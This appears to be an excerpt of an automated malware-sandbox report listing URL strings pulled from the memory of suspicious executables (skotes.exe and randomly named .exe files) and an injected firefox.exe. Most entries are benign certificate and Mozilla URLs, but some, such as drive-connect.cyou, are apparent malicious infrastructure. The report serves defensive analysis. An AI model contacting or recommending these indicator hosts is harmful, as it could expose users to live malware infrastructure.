Source: skotes.exe, 00000006.00000002.2983995817.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: 1747150d4f.exe, 00000007.00000003.2797892094.0000000003C33000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2902060171.0000000003B88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3327778223.00000230FC856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 1747150d4f.exe, 00000007.00000003.2797892094.0000000003C33000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2902060171.0000000003B88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3327778223.00000230FC856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 1747150d4f.exe, 00000007.00000003.2797892094.0000000003C33000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2902060171.0000000003B88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3327778223.00000230FC856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 1747150d4f.exe, 00000007.00000003.2797892094.0000000003C33000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2902060171.0000000003B88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3327778223.00000230FC856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: firefox.exe, 00000037.00000002.3324541865.00000230FC6D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3343798104.00000230FE4CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3323222089.00000230FC5E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000037.00000002.3341288663.00000230FE25B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_CONNECTION_CREATED_startDetection/url
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000037.00000002.3007602149.00000230F7003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000037.00000002.3007602149.00000230F7003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressionsP5
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000037.00000002.3355984254.0000023105289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3337035452.00000230FD168000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3145315247.00000230FA953000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3043339127.00000230F8F55000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3337856699.00000230FD23C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3341288663.00000230FE25B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3357163687.000002330003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3245637231.00000230FAC08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3334950017.00000230FCFAE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3351824847.000002310320F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3316905694.00000230FB773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3333883577.00000230FCE47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 1747150d4f.exe, 00000007.00000003.2797892094.0000000003C33000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2902060171.0000000003B88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3327778223.00000230FC856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 1747150d4f.exe, 00000007.00000003.2797892094.0000000003C33000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2902060171.0000000003B88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3327778223.00000230FC856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: firefox.exe, 00000037.00000002.3005955563.00000230F6D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: 19ea177b6f.exe, 0000000A.00000000.2644490683.0000000000423000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: firefox.exe, 00000037.00000002.3005955563.00000230F6D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000037.00000002.3005955563.00000230F6D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateBACKGROUNDCHECK_MULTIPLE_FAILURESPREF_APP_UPDATE_NOTIFYDURINGD
Source: firefox.exe, 00000037.00000002.3355984254.0000023105289000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000037.00000002.3337856699.00000230FD28E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F7145000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3334950017.00000230FCFAE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F7163000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-bu
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7145000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/TelemetryTimesta
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://services-settings/remote-set
Source: 1747150d4f.exe, 00000007.00000003.2797892094.0000000003C33000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2902060171.0000000003B88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3327778223.00000230FC856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 1747150d4f.exe, 00000007.00000003.2797892094.0000000003C33000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2902060171.0000000003B88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3327778223.00000230FC856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000037.00000003.2908344073.00000230FAC20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2908493891.00000230FAC3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2908166117.00000230FAA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3042482082.00000230F8730000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000037.00000003.2908806923.00000230FAC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: 1747150d4f.exe, 00000007.00000003.2742716601.0000000003C4B000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2742940091.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2829915112.0000000003B9C000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830095292.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000037.00000002.3341288663.00000230FE271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.cadefault-theme
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000037.00000002.3353169054.0000023103358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000037.00000002.3343798104.00000230FE4D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8F55000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3145315247.00000230FA927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3345374154.00000230FE713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 1747150d4f.exe, 00000007.00000003.2799670592.0000000003C13000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2904539232.0000000003B5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 1747150d4f.exe, 00000007.00000003.2799670592.0000000003C13000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2904539232.0000000003B5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 00000037.00000002.3333883577.00000230FCE24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 1747150d4f.exe, 00000007.00000003.2742716601.0000000003C4B000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2742940091.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2829915112.0000000003B9C000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830095292.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 1747150d4f.exe, 00000007.00000003.2742716601.0000000003C4B000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2742940091.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2829915112.0000000003B9C000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830095292.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 1747150d4f.exe, 00000007.00000003.2742716601.0000000003C4B000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2742940091.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2829915112.0000000003B9C000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830095292.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000037.00000003.2908344073.00000230FAC20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2908493891.00000230FAC3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2908166117.00000230FAA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3042482082.00000230F8730000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000037.00000003.2908806923.00000230FAC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: 1747150d4f.exe, 00000007.00000003.2799670592.0000000003C13000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2904539232.0000000003B5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 1747150d4f.exe, 00000007.00000003.2799670592.0000000003C13000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2904539232.0000000003B5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3345374154.00000230FE713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tilesresource://nimbus/lib/ExperimentStore.sys.mjsextensions
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000037.00000002.2995908921.00000230EAE30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000037.00000002.3007602149.00000230F7003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000037.00000002.3007602149.00000230F7003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000037.00000002.3007602149.00000230F7003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsInt
Source: firefox.exe, 00000037.00000002.3007602149.00000230F7003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: 8b334ae3d2.exe, 00000028.00000002.2970973072.0000000001430000.00000004.00000020.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2900451371.0000000003B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/
Source: 8b334ae3d2.exe, 00000028.00000003.2854920034.0000000003B53000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2854108574.0000000003B52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/03
Source: 8b334ae3d2.exe, 00000028.00000002.2970973072.000000000149F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/N
